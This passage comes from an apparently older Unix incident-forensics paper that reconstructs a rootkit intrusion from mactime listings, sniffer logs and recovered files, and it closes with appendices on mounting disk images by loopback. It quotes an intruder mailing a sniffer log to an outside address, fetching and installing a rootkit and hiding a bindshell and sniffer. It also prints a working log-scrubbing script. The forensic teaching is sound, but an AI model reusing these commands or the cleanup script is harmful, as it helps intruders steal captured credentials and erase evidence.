                        3724 .a. -rw-r--r-- root     root     /x/usr/include/waitstatus.h
                     1418196 .a. -rwxr-xr-x root     root     /x/usr/lib/gcc-lib/i486-linux/2.7.0/cc1
                        3049 .a. -rw-r--r-- root     root     /x/usr/lib/gcc-lib/i486-linux/2.7.0/include/limits.h
                         330 .a. -r--r--r-- root     root     /x/usr/lib/gcc-lib/i486-linux/2.7.0/include/syslimits.h
                        2101 .a. -rw-r--r-- root     root     /x/usr/src/linuxelf-1.2.13/include/asm-i386/byteorder.h
                         266 .a. -rw-r--r-- root     root     /x/usr/src/linuxelf-1.2.13/include/asm-i386/param.h
                        3965 .a. -rw-r--r-- root     root     /x/usr/src/linuxelf-1.2.13/include/linux/in.h
                         720 .a. -rw-r--r-- root     root     /x/usr/src/linuxelf-1.2.13/include/linux/limits.h
                          78 .a. -rw-r--r-- root     root     /x/usr/src/linuxelf-1.2.13/include/linux/param.h
                        1146 .a. -rw-r--r-- root     root     /x/usr/src/linuxelf-1.2.13/include/linux/time.h
                         313 .a. -rw-r--r-- root     root     /x/usr/src/linuxelf-1.2.13/include/linux/version.h
                         698 .a. -rw-r--r-- root     root     /x/usr/src/linuxelf-1.2.13/include/linux/wait.h
  XXX 13 XX 10:01:57  117668 .a. -rwxr-xr-x root     bin      /x/usr/bin/as
  XXX 13 XX 10:01:58  145695 .a. -rwxr-xr-x root     bin      /x/usr/bin/ld
  XXX 13 XX 10:01:59    1088 .a. -rw-r--r-- root     root     /x/usr/lib/crt1.o
                        1216 .a. -rw-r--r-- root     root     /x/usr/lib/crtbegin.o
                        1212 .a. -rw-r--r-- root     root     /x/usr/lib/crtend.o
                         624 .a. -rw-r--r-- root     root     /x/usr/lib/crti.o
                         396 .a. -rw-r--r-- root     root     /x/usr/lib/crtn.o
                      204146 .a. -rw-r--r-- root     root     /x/usr/lib/gcc-lib/i486-linux/2.7.0/libgcc.a
-----------------------------------------------------------------------------

On XXX 14, "ncftp" (a File Transfer Protocol, or FTP, client) is
run:

-----------------------------------------------------------------------------
  XXX 14 XX 00:42:50  146881 .a. -rwxr-xr-x root     bin      /x/usr/bin/ncftp
-----------------------------------------------------------------------------

Login records from the system XXXXXXX.XXXXXXX.XXX (aka "XXX.XXX") show a
login to XXXXXXX.XXXXXXX.XXX at this time (XXXXXXX is also in the EST,
or +0300 hours ahead of PST), which is bounded before and after by
connections directly from CCCCCCCC.XXXXXXXX.XXX,
XXXXXXXXXXXXX.washington.edu, and XXXXXXXXXXXX.washington.edu:

-----------------------------------------------------------------------------
XXX      ftp          XXXXXXXX.XXXXXXX Sat XXX 14 03:46 - 04:08  (00:21)
XXX      ftp          XXXXXXX.washingt Sat XXX 14 03:46 - 03:46  (00:00)
XXX      ftp          XXXXXXXX.XXXXXXX Sat XXX 14 03:38 - 03:40  (00:02)
XXX      ftp          XXXXXXXXXXXXX.wa Sat XXX 14 03:37 - 03:39  (00:02)
XXX      ftp          XXXXXXXXXXXX.was Sat XXX 14 03:19 - 03:20  (00:00)
-----------------------------------------------------------------------------

There is only one occurrence of the "ncftp" command logged by a sniffer
on XXXXXXX (line 347 in "tcp.log").  Weaknesses in the way linsniff
detects sessions means that this may not be the actual event itself, and
if it were, the logging of the telnet session could miss the ftp
connection to XXXXXXX.XXXXXXX.XXX:

-----------------------------------------------------------------------------
XXXXXXXXXXXXX.washington.edu => XXXXXXX.washington.edu [23]
 !"'%W#$ 38400,38400vt100bdoor
password
w
su r00t
cd /etvc
cd "..   "
ls
cat /etc/"..   "/tcp.log | mail hackeraccount@hotmail.com
cat /etc/"..   "/tcp.log | mail hackeraccount@hotmail.com
ncftp -u ls
cp tcp.log 1
ls
ncftp -y XXX.XXX
[A[D[D[D[D[D[D[D[Du

----- [Timed Out]
-----------------------------------------------------------------------------

This ties the person using XXXXXXXXX, at the time the sniffer log file
was transferred to XXXXXXX.XXXXXXX.XXX, with CCCCCCCC.XXXXXXXX.XXX.

Four hours later, someone runs the "whoami" program, then later adds or
deletes a file from the hidden directory in /etc.

-----------------------------------------------------------------------------
  XXX 14 XX 04:07:42    3797 .a. -rwxr-xr-x root     bin      /x/usr/bin/whoami
  XXX 14 XX 04:08:18    1024 m.c drwxr-xr-x root     root     /x/etc/..___
-----------------------------------------------------------------------------

Later on the night of XXX 14, in.identd is run.  The in.identd daemon
is used to identify the username associated with a connection attempt
to a remote service.  This is required by some Internet Relay Chat
servers, so this could indicate that someone made a connection to an
IRC server from this system at this time.

Also occurring are connections to the POP mail server daemon
("in.pop3d"), the Berkeley "r" utility login daemon ("in.rlogind"),
and a connection to the NFS mount daemon ("rpc.mountd").  The
rpc.mountd connection is immediately followed by execution of the "id"
command (this is the signature of the ADM mountd buffer overrun
exploit, which starts a shell and returns the process id of the NFS
mountd service daemon, usually root).

The intruder then uses this shell to create the directory
"/var/tmp/XXXXX" and install backdoor programs, log file cleanup
utilities, and a sniffer.  Modification of several log files indicates
that the cleanup programs were run at this time to conceal the intrusion
(including zeroing out the contents of several log files):

-----------------------------------------------------------------------------
  XXX 14 XX 20:25:14   13004 .a. -rwxr-xr-x root     bin      /x/usr/sbin/in.identd
  XXX 14 XX 22:24:52   15029 .a. -rwxr-xr-x root     bin      /x/usr/sbin/in.pop3d
  XXX 15 XX 02:22:24   23421 .a. -rwxr-xr-x root     root     /x/usr/sbin/in.rlogind
  XXX 15 XX 02:23:07   25217 .a. -rwxr-xr-- root     bin      /x/usr/sbin/rpc.mountd
  XXX 15 XX 02:23:08    7705 .a. -rwxr-xr-x root     bin      /x/usr/bin/id
  XXX 15 XX 02:24:22   28550 mac -rwxr-xr-x root     root     /x/var/tmp/XXXXX/programs/fix
                       13508 .a. -rwxr-xr-x root     root     /x/var/tmp/XXXXX/programs/login.bak
  XXX 15 XX 02:24:23   13508 m.c -rwxr-xr-x root     root     /x/var/tmp/XXXXX/programs/login.bak
                        1375 mac -rwxr-xr-x root     root     /x/var/tmp/XXXXX/programs/readme
  XXX 15 XX 02:24:39   26314 m.c -rwxr-xr-x root     root     /x/var/tmp/XXXXX/programs/bindshell
                       27942 m.c -rwxr-xr-x root     root     /x/var/tmp/XXXXX/programs/linsniffer
  XXX 15 XX 02:24:41   26314 .a. -rwxr-xr-x root     root     /x/var/tmp/XXXXX/programs/bindshell
                       27942 .a. -rwxr-xr-x root     root     /x/var/tmp/XXXXX/programs/linsniffer
  XXX 15 XX 02:24:43    1126 m.c -rwxr-xr-x root     root     /x/var/tmp/XXXXX/programs/clean
                          XX mac -rwxr-xr-x root     root     /x/var/tmp/XXXXX/programs/imapdis
  XXX 15 XX 02:24:59    4665 .a. -rwxr-xr-x root     bin      /x/usr/bin/basename
  XXX 15 XX 02:25:03       0 mac -rw-r--r-- root     root     /x/var/log/cron
  XXX 15 XX 02:25:04       0 ma. crw-rw-rw- root     root     /x/dev/ttyp3
  XXX 15 XX 02:25:06       0 .a. -rw-r--r-- root     root     /x/var/log/debug
  XXX 15 XX 02:25:08       0 .a. -rw-r--r-- root     root     /x/var/log/lastlog
  XXX 15 XX 02:25:12    2699 .a. -rw-r--r-- root     root     /x/var/log/syslog
  XXX 15 XX 02:25:15  131968 .a. -rwxr-xr-x root     bin      /x/usr/bin/gawk
                        5941 .a. -rwxr-xr-x root     bin      /x/usr/bin/wc
                           0 .a. -rw-r--r-- root     root     /x/var/log/xferlog
                        1024 m.c drwxr-xr-x root     root     /x/var/tmp/XXXXX
                        1126 .a. -rwxr-xr-x root     root     /x/var/tmp/XXXXX/programs/clean
  XXX 15 XX 02:25:54    2802 m.c -rwxr-xr-x root     root     /x/etc/rc.d/rc.inet2
  XXX 15 XX 02:26:13   12288 m.c -rw-rw-r-- root     root     /x/etc/psdevtab
  XXX 15 XX 02:26:26    7416 .a. -rwxr-xr-x root     bin      /x/bin/mkdir
  XXX 15 XX 02:26:33      15 m.c -rw-r--r-- root     root     /x/dev/XXXXXXXX/LS
  XXX 15 XX 02:26:40    1024 m.c drwxr-xr-x root     root     /x/dev/XXXXXXXX
                          25 m.c -rw-r--r-- root     root     /x/dev/XXXXXXXX/PS
  XXX 15 XX 02:28:37       0 .a. crw-rw-rw- root     root     /x/dev/ptyp2
  XXX 15 XX 02:28:38       0 m.c crw-rw-rw- root     root     /x/dev/ptyp2
                           0 mac crw-rw-rw- root     root     /x/dev/ttyp2
  XXX 15 XX 02:29:58       0 m.c -rw-r--r-- root     root     /x/var/log/lastlog
  XXX 15 XX 02:30:06       0 m.c -rw-r--r-- root     root     /x/var/log/xferlog
  XXX 15 XX 02:31:03   66973 .a. -rwxr-xr-x root     bin      /x/bin/telnet
  XXX 15 XX 02:35:01    1024 m.c drwxr-xr-x root     root     /x/var/log
                           0 mac -rw-r--r-- root     root     /x/var/log/sulog
  XXX 15 XX 02:35:16       0 m.c -rw-r--r-- root     root     /x/var/log/debug
  XXX 15 XX 02:35:51       0 ma. crw-rw-rw- root     root     /x/dev/ptyp3
  XXX 15 XX 02:35:52       0 ..c crw-rw-rw- root     root     /x/dev/ptyp3
                           0 ..c crw-rw-rw- root     root     /x/dev/ttyp3
  XXX 15 XX 03:21:57    1649 m.. -rw-r--r-- root     root     /x/etc/passwd.OLD
  XXX 15 XX 03:22:24    7317 .a. -rwxr-xr-x root     bin      /x/bin/killall
  XXX 15 XX 03:22:40   58605 .a. -rwxr-xr-x root     bin      /x/bin/ps
                          25 .a. -rw-r--r-- root     root     /x/dev/XXXXXXXX/PS
-----------------------------------------------------------------------------

This activity appears to be seen starting at line 471 in the "tcp.log"
sniffer log file (between XXX 14 03:46 from line 348 and XXX 17 20:13
from the last modification date of the file):

---------------------------------------------------------------------------
IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [143]

----- [Timed Out]

IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [513]
rootXXXXlinux/38400
----- [FIN]

IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [513]
rootXXXX-linux/38400
----- [FIN]

IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [513]
rootr00tlinux/38400t
----- [FIN]

IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [23]
 !"'%P#$ 38400,38400linuxXXXXX

XXX

r00t
finger
cd /var/tmp
ls -al
rm -rf .bash*
ftp XXXXXX.XXX.XXX
anonymous
ass
get XXXX.tgz
quituit
tar zxvf XXXX.tgz
chmod +x *
./INSTALL
ls -al

----- [Timed Out]

IIIIIIIIII.XXXXXXX.XXX.XX => GGGGGGG.XXXXXXXXXX.XXX [23]
 !"'%P#$ 38400,38400linuxr00t
pico /etc/rc.d/irc.inetd2
rpc.mo.mo.mo.mountd
[A11
mountd
[A2
pmountd
[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C# [B[D[D#[B[D#[B[D# y
pico /etc/inetd.conf
[6~[6~killall -HUP inetd
cat /etc/inetd.conf
ps aux
kill -9 cd /dev
mkdir XXXXXXXX
cd XXXXXXXX
pico LS
XXXXXXXX
XXXXXy
pico PS
3 bindshell
3 linsniffery
ps aux
kill -9 2541
f
----- [Timed Out]
---------------------------------------------------------------------------

This shows the intruder editing the rootkit configuration file for
"ls" (named "LS") to hide files/directories with "XXXXXXXX" and
"XXXXX" in their names, and the rootkit configuration file for "ls"
(named "PS") to hide processes with "bindshell" and "linsinffer" in
their names.

(The "y" seen in the strings "XXXXXy" and "linsniffery" are artifacts
of the intruder using the "pico" editor.  The pico command to save
files is Ctrl-X.  If the file has been modified in any way, pico
prompts the user:

   Save modified buffer (ANSWERING "No" WILL DESTROY CHANGES) ?

The user must then type "y" to save the file.  The sniffer is not
showing control characters, but the "y" does show up.)

The sniffer log entry here shows the XXXXXXXX directory being created, 
then the files "LS" and "PS" being edited, in that order.  This can be 
seen in the mactime listing, likely tying this event to XXX 15 at
02:26:

---------------------------------------------------------------------------
  XXX 15 XX 02:26:26    7416 .a. -rwxr-xr-x root     bin      /x/bin/mkdir
  XXX 15 XX 02:26:33      15 m.c -rw-r--r-- root     root     /x/dev/XXXXXXXX/LS
  XXX 15 XX 02:26:40    1024 m.c drwxr-xr-x root     root     /x/dev/XXXXXXXX
                          25 m.c -rw-r--r-- root     root     /x/dev/XXXXXXXX/PS
---------------------------------------------------------------------------

On XXX 16, someone creates a backup copy ("sniffer.log.save") of
a sniffer log file ("sniffer.log") in the directory
"/var/tmp/XXXXX/programs".  These sniffer logs also show logins from
intruders, who then access the sniffer log file "tcp.log"):

-----------------------------------------------------------------------------
  XXX 16 XX 21:55:34   36088 .a. -rwxr-xr-x root     bin      /x/bin/netstat
  XXX 16 XX 21:58:27    1024 m.c drwxrwxrwx root     root     /x/var/tmp
  XXX 16 XX 21:58:52       6 .a. -rw-r--r-- root     root     /x/root/temp.txt
  XXX 16 XX 22:50:33    1024 .a. drwxr-xr-x root     root     /x/var/tmp/XXXXX
  XXX 16 XX 22:51:02    6644 .a. -rw-r--r-- root     root     /x/var/tmp/XXXXX/programs/sniffer.log
  XXX 16 XX 22:57:16    1024 .a. drwxr-xr-x root     root     /x/var/tmp/XXXXX/programs
  XXX 16 XX 23:39:51    1024 m.c drwxr-xr-x root     root     /x/var/tmp/XXXXX/programs
                        4992 mac -rw-r--r-- root     root     /x/var/tmp/XXXXX/programs/sniffer.log.save
-----------------------------------------------------------------------------

The file "/root/temp.txt" contains the string "blah" on one line, and
another blank line.  (It is not known what purpose this file serves.)

On XXX 17, a password is changed and a backup copy of the password
file is created.

-----------------------------------------------------------------------------
  XXX 17 XX 12:44:50  153384 .a. -rws--x--x root     bin      /x/usr/bin/passwd
  XXX 17 XX 12:45:05    1649 m.c -rw-r--r-- root     root     /x/etc/passwd
                        1649 ..c -rw-r--r-- root     root     /x/etc/passwd.OLD
-----------------------------------------------------------------------------

Later on XXXXXXXX 17, someone logs in using telnet.  Line printer status
is apparently obtained.  Modifications to /dev/console indicate a
console login occurred as well. Modification/change dates are altered on
both sniffer logs, one "/etc/..   /tcp.log" and the other
"/var/tmp/XXXXX/programs/sniffer.log", which could indicate they are
shut down:

-----------------------------------------------------------------------------
  XXX 17 XX 20:13:44     296 .a. -rw-r--r-- root     root     /x/etc/hosts.deny
                       40907 .a. -rwxr-xr-x root     bin      /x/usr/sbin/tcpd
  XXX 17 XX 20:13:45   40685 .a. -rwxr-xr-x root     bin      /x/usr/sbin/in.telnetd
                          25 m.c -rw-rw-r-- root     root     /x/var/spool/lp1/status
  XXX 17 XX 20:13:46       0 m.. crw-rw-rw- root     root     /x/dev/console
                           0 .a. crw-rw-rw- root     root     /x/dev/ptyp0
                           0 m.. crw-rw-rw- root     root     /x/dev/ttyp0
                       18476 m.c -rw-r--r-- root     root     /x/etc/..___/tcp.log
                        6644 m.c -rw-r--r-- root     root     /x/var/tmp/XXXXX/programs/sniffer.log
  XXX 17 XX 20:13:50       0 ..c crw-rw-rw- root     root     /x/dev/console
                           0 ..c crw-rw-rw- root     root     /x/dev/ptyp0
                           0 ..c crw-rw-rw- root     root     /x/dev/ttyp0
-----------------------------------------------------------------------------

On XXX 18, sendmail is run.  There is evidence in one of the sniffer
log files ("/etc/..   /tcp.log") that shows the intruder mailing a
copy of the tcp.log sniffer log to an email address, which most likely
occurred at this time:

-----------------------------------------------------------------------------
  XXX 18 XX 05:30:26  164060 .a. -r-sr-Sr-x root     bin      /x/usr/sbin/sendmail
-----------------------------------------------------------------------------

In addition to analyzing the active file system, all deleted files were
recovered using "unrm" from the Coroner's Toolkit.  Simple examination
of the strings in the resulting file reveals several deleted scripts
and log files.

The following is part of a rootkit installation/cleanup script:

-----------------------------------------------------------------------------
cp /var/tmp/imap-d /var/tmp/XXXXX/programs/imapdis
rm -rf /var/tmp/imap-d
echo "6. cleaning logs"
cd /var/tmp/XXXXX
cp /var/tmp/clean /var/tmp/XXXXX/programs/clean
rm -rf /var/tmp/clean
/var/tmp/XXXXX/programs/clean XXXXXXX 1>/dev/null 2>/dev/null
/var/tmp/XXXXX/programs/clean XXX.XXX 1>/dev/null 2/dev/null
/var/tmp/XXXXX/programs/clean XXXX 1>/dev/null 2>/dev/null
echo "rootkit complete"
echo "rember to disable imapd"
echo "EOF"
-----------------------------------------------------------------------------

The following are portions of deleted system log files that show
connections from various intruder points of origin.

-----------------------------------------------------------------------------
XXX 11 15:26:11 XXXX in.fingerd[864]: connect from XXX-XXX-14.XXXXXXXXX.XXX
XXX 11 15:26:11 XXXX in.telnetd[865]: connect from XXX-XXX-14.XXXXXXXXX.XXX
XXX 11 15:26:11 XXXX telnetd[865]: ttloop:  peer died: Try again
XXX 11 15:26:12 XXXX in.pop3d[866]: connect from XXX-XXX-14.XXXXXXXXX.XXX
XXX 11 15:26:13 XXXX in.telnetd[867]: connect from XXX-XXX-14.XXXXXXXXX.XXX
 . . .
XXX 12 05:36:20 XXXX in.telnetd[1126]: connect from DDDDDD.XXXXXX.XXX
 . . .
XXX 12 11:01:52 XXXX in.telnetd[1213]: connect from EEEEEEE.XXX.XXX
XXX 12 11:02:21 XXXX su: XXXXX on /dev/ttyp1
 . . .
XXX 12 11:04:28 XXXX in.rlogind[1229]: connect from CCCCCCCC.XXXXXXXX.XXX
XXX 12 11:04:44 XXXX in.rlogind[1230]: connect from CCCCCCCC.XXXXXXXX.XXX
 . . .
XXX 12 11:08:57 XXXX su: XXXXX on /dev/ttyp1
XXX 12 11:11:19 XXXX su: XXXXX on /dev/ttyp1
 . . .
XXX 12 11:33:05 XXXX in.telnetd[1290]: connect from AAAAAA.XXXXXX.XXX
XXX 12 11:33:16 XXXX login: 1 LOGIN FAILURE FROM AAAAAA.XXXXXX.XXX, XXX
XXX 12 11:33:21 XXXX login: 2 LOGIN FAILURES FROM AAAAAA.XXXXXX.XXX, XXX
 . . .
XXX 12 11:34:02 XXXX su: XXXXX on /dev/ttyp1
XXX 12 11:41:52 XXXX wu.ftpd[1327]: connect from BBBBBBB.XXXXXX.XXX
XXX 12 11:41:57 XXXX ftpd[1327]: USER XXXXX
XXX 12 11:41:59 XXXX ftpd[1327]: PASS password
XXX 12 11:42:00 XXXX ftpd[1327]: SYST
XXX 12 11:42:01 XXXX ftpd[1327]: CWD /tmp
XXX 12 11:42:06 XXXX ftpd[1327]: TYPE Image
XXX 12 11:42:06 XXXX ftpd[1327]: PORT
XXX 12 11:42:06 XXXX ftpd[1327]: STOR mountd
XXX 12 11:42:08 XXXX ftpd[1327]: QUIT
XXX 12 11:42:08 XXXX ftpd[1327]: FTP session closed
XXX 12 12:00:25 XXXX in.telnetd[1342]: connect from AAAAAA.XXXXXX.XXX
XXX 12 12:00:25 XXXX telnetd[1342]: ttloop:  peer died: Try again
 . . .
XXX 12 12:54:37 XXXX in.rlogind[1358]: connect from CCCCCCCC.XXXXXXXX.XXX
 . . .
XXX 12 19:53:30 XXXX in.telnetd[1459]: connect from XXXX-XX-118.XXXXXXXXX.XXX
 . . .
XXX 12 23:47:32 XXXX in.telnetd[1525]: connect from XXXXXX.XXXX.XXXXXXXXXX.XXX
XXX 12 23:47:41 XXXX login: 1 LOGIN FAILURE FROM XXXXXX.XXXX.XXXXXXXXXX.XXX, XXXXX
XXX 12 23:48:55 XXXX su: XXXXX on /dev/console
XXX 13 00:12:38 XXXX in.telnetd[1569]: connect from HHHHHH.XXXXXXXXXXXXXXX.XXX
XXX 13 00:12:54 XXXX su: XXXXX on /dev/console
 . . .
XXX 13 06:46:12 XXXX in.telnetd[1673]: connect from XXX.XX.XXX.XX
XXX 13 07:08:01 XXXX in.telnetd[1679]: connect from GGGGGGG.XXXXXXXXXXXXXX.XXX
XXX 13 07:08:14 XXXX su: XXXXX on /dev/console
 . . .
XXX 13 08:30:05 XXXX in.telnetd[1728]: connect from FFFFFFF.XXXXXXXXXXXXXX.XXX
XXX 13 08:30:22 XXXX in.telnetd[1731]: connect from HHHHHH.XXXXXXXXXXXXXXX.XXX
XXX 13 08:32:34 XXXX in.telnetd[1733]: connect from FFFFFFF.XXXXXXXXXXXXXX.XXX
 . . .
XXX 13 09:58:42 XXXX su: XXXXX on /dev/console
-----------------------------------------------------------------------------

The following is another script used to clean out log files.  It is not known
if this same file exists still in the active file system.

-----------------------------------------------------------------------------
#!/bin/bash
 . . .
WHAT=$(/bin/ls -F /var/log | grep -v "/" | grep -v "*" | grep -v ".tgz" | grep -v ".gz" | grep -v ".tar" | grep -v "@")
for file in $WHAT
   line=$(wc -l /var/log/$file | awk -F ' ' '{print $1}')
   echo -n "Cleaning $file ($line lines)..."
   grep -v $1 /var/log/$file > new
   mv -f new /var/log/$file
   newline=$(wc -l /var/log/$file | awk -F ' ' '{print $1}')
   let linedel=$(($line-$newline))
   echo "$linedel lines removed!"
done
echo " "
-----------------------------------------------------------------------------

The following are strings out of a portion of a wtmp file ("last"
information).  Times are not obvious, but host names are.

-----------------------------------------------------------------------------
ftp4264
ttyp1
3XXXXX
XXXXXXXXXXXX
ttyp1
Pftp4626
3XXXXX
XXXXXXXXXXXX
ttyp1
3XXXXX
XXXXXXXXXXXX
ftp4626
ttyp1
Pftp4639
3XXXXXXXX
XXX.XX.XXX.XX
Pftp4639
Pftp4653
3XXXXXX
XXXXXXXXXXXX
ftp4653
Pftp4743
3XXXXX
XXXXXXXXXXXXXXXX
-----------------------------------------------------------------------------

References and other reading on forensics

Thanks go to Dan Farmer for his feedback, and to he and Wietse Venema for their contribution to the science and technology of forensic analysis of Unix systems.

Appendix A: Loopback file systems under Linux

The Linux kernel can support a large number of filesystem types (shown here from "man mount"):

      The file system types  which are currently supported are listed
      in linux/fs/filesystems.c: adfs, affs,  autofs,  coda, coherent,
      devpts,  efs,  ext,  ext2,  hfs,  hpfs, iso9660, minix, msdos,
      ncpfs,  nfs,  ntfs,  proc, qnx4,  romfs,  smbfs, sysv, udf, ufs,
      umsdos, vfat, xenix, xiafs.  Note that coherent, sysv  and
      xenix are  equivalent and that xenix and coherent will be
      removed at some point in the  future  --  use  sysv instead.
This makes it handy to use as an analysis platform, because you can use a single set of utilities to access file contents and i-node information from a large number of victim system types.

Linux also supports a feature known as "loopback" devices, which allow you to use a filesystem within a file. This method is used for bootdisks, burning CD-ROMS, and for encrypted filesystems on laptops, etc. For more information, see the following:

The loop devices (8 by default) are used indirectly by the "mount" command. They are located in the /dev directory with other devices:


# ls -l /dev/loop*
brw-rw----    1 root     disk       7,   0 May  5  1998 /dev/loop0
brw-rw----    1 root     disk       7,   1 May  5  1998 /dev/loop1
brw-rw----    1 root     disk       7,   2 May  5  1998 /dev/loop2
brw-rw----    1 root     disk       7,   3 May  5  1998 /dev/loop3
brw-rw----    1 root     disk       7,   4 May  5  1998 /dev/loop4
brw-rw----    1 root     disk       7,   5 May  5  1998 /dev/loop5
brw-rw----    1 root     disk       7,   6 May  5  1998 /dev/loop6
brw-rw----    1 root     disk       7,   7 May  5  1998 /dev/loop7

Combining these two features is way simpler than you might guess.

You simply copy bitmap images of each partition, copied with dd from a victim system, to your analysis system, then mount them using loopback devices.

For our example, the partitions were obtained from the primary internal drive on a Sun SPARC system running Solaris 2.5:


# ls -l c0t3d0*
-rw-r--r--    1 root     root     189399040 Sep 14 12:44 c0t3d0s0.dd
-rw-r--r--    1 root     root     171991040 Sep 14 13:15 c0t3d0s1.dd
-rw-r--r--    1 root     root     220733440 Sep 14 12:57 c0t3d0s3.dd
-rw-r--r--    1 root     root     269475840 Sep 14 12:51 c0t3d0s6.dd
-rw-r--r--    1 root     root     515973120 Sep 14 13:48 c0t3d0s7.dd

You mount the image (in read-only mode) by specifying it is a UFS filesystem, of type "sun", and that you want to use a loop device, like this:


# mount -o ro,loop,ufstype=sun -t ufs c0t3d0s0.dd /t

From here, we can now determine where the other partitions go by searching for this device name in the vicitm system's /etc/vfstab file (mounted in this example on /t):


# grep c0t3d0 /t/etc/vfstab
/dev/dsk/c0t3d0s1	-	-	swap	-	no	-
/dev/dsk/c0t3d0s0	/dev/rdsk/c0t3d0s0	/	ufs	1	no	-
/dev/dsk/c0t3d0s6	/dev/rdsk/c0t3d0s6	/usr	ufs	1	no	-
/dev/dsk/c0t3d0s3	/dev/rdsk/c0t3d0s3	/var	ufs	1	no	-
/dev/dsk/c0t3d0s7	/dev/rdsk/c0t3d0s7	/export/home	ufs	2	yes	-

You now mount the other partions in the same way:


# mount -o ro,loop,ufstype=sun -t ufs c0t3d0s3.dd /t/var
# mount -o ro,loop,ufstype=sun -t ufs c0t3d0s6.dd /t/usr
# mount -o ro,loop,ufstype=sun -t ufs c0t3d0s7.dd /t/export/home

The contents are now visible to standard utilities, such as The Coroner's Toolkit program "grave-robber".

# df
Filesystem           1k-blocks      Used Available Use% Mounted on
 . . .
/x/c0t3d0s0.dd          173791     68725     87696  44% /t
/x/c0t3d0s3.dd          202423     26148    156035  14% /t/usr
/x/c0t3d0s6.dd          246743    197592     24481  89% /t/var
/x/c0t3d0s7.dd          473031    111506    314225  26% /t/export/home

# mount
 . . .
/x/c0t3d0s0.dd on /t type ufs (ro,loop=/dev/loop0,ufstype=sun)
/x/c0t3d0s3.dd on /t/usr type ufs (ro,loop=/dev/loop1,ufstype=sun)
/x/c0t3d0s6.dd on /t/var type ufs (ro,loop=/dev/loop2,ufstype=sun)
/x/c0t3d0s7.dd on /t/export/home type ufs (ro,loop=/dev/loop3,ufstype=sun)

Appendix B: Loopback file systems under Solaris

Sun Solaris 8 has a similar function, as described here by Ray Link in an email message to the FOCUS-SUN list at SecurityFocus.com:

Date: Wed, 19 Dec 2001 15:22:56 -0500 (EST)
From: Ray Link 
To: FOCUS-SUN@securityfocus.com
Subject: Re: Mounting dd images question

On Wed, 19 Dec 2001, Neil Long wrote:

> Is there an obvious way (i.e. one which won't continue to elude me) to take
> a dd of a disk partition (off a hacked Sun system for example) and mount
> this image on another Sun (Solaris 8 or older) for read-only analysis?

> Something like the loopback device in Linux or the vn (vnode) device in
> (Free)BSD?

In Solaris 8, Sun introduced the "lofi" loopback file driver.  You can
manipulate filesystem images via /dev/lofi and /dev/rlofi just as you
would manipulate a /dev/dsk and /dev/rdsk.  This is pretty much the
analogous to what you can with the loopback device under Linux.

Solaris 8 also includes a "lofiadm" utility for automatically creating
the necessary devices under /dev/lofi/ and /dev/rlofi/

For example:

# lofiadm -a /var/tmp/disk.img
/dev/lofi/1
# mount /dev/lofi/1 /mnt

Hope this helps.

==== Ray Link === University of Pittsburgh CSSD === rlink@pitt.edu ====

"Everytime you declare main() as returning void - somewhere a little
baby cries.  So please, do it for the children."  -- Daniel Fox